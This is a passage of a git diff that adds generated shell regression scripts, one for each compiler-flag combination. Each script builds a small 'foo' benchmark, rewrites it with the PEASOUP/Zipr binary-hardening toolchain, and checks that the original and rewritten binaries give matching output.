+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-Os.-fPIC.-fomit-frame-pointer.-g.-m32.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-Os.-fPIC.-fomit-frame-pointer.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..439e0fea56faa0f85d06a0f8363cc9b0a229d14f
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-Os.-fPIC.-fomit-frame-pointer.-g.-m32.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -Os -fPIC -fomit-frame-pointer -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -Os -fPIC -fomit-frame-pointer -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-Os.-fPIC.-fomit-frame-pointer.-g.-m64.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-Os.-fPIC.-fomit-frame-pointer.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..42da11fc6fa966d0bb7c33d57a161e4293e9b75b
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-Os.-fPIC.-fomit-frame-pointer.-g.-m64.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -Os -fPIC -fomit-frame-pointer -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -Os -fPIC -fomit-frame-pointer -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-Os.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-Os.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..1dd4359dee83b6dacb0378c39f32ffc721191dee
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-Os.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -Os -fPIC -fomit-frame-pointer   -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -Os -fPIC -fomit-frame-pointer   -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-Os.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-Os.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..a2040605a19dc12f3a78ac7f8330234f3d1e9d16
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-Os.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -Os -fPIC -fomit-frame-pointer   -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -Os -fPIC -fomit-frame-pointer   -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-Os.-fPIC.no_omit-fp.-g.-m32.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-Os.-fPIC.no_omit-fp.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..9dd663f0b04360d57ed8b8ab13196614b418fc08
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-Os.-fPIC.no_omit-fp.-g.-m32.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -Os -fPIC   -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -Os -fPIC   -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-Os.-fPIC.no_omit-fp.-g.-m64.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-Os.-fPIC.no_omit-fp.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..800b3ca4dae4b08e6da6b2cb20fb6ff1bb348dd3
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-Os.-fPIC.no_omit-fp.-g.-m64.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -Os -fPIC   -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -Os -fPIC   -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
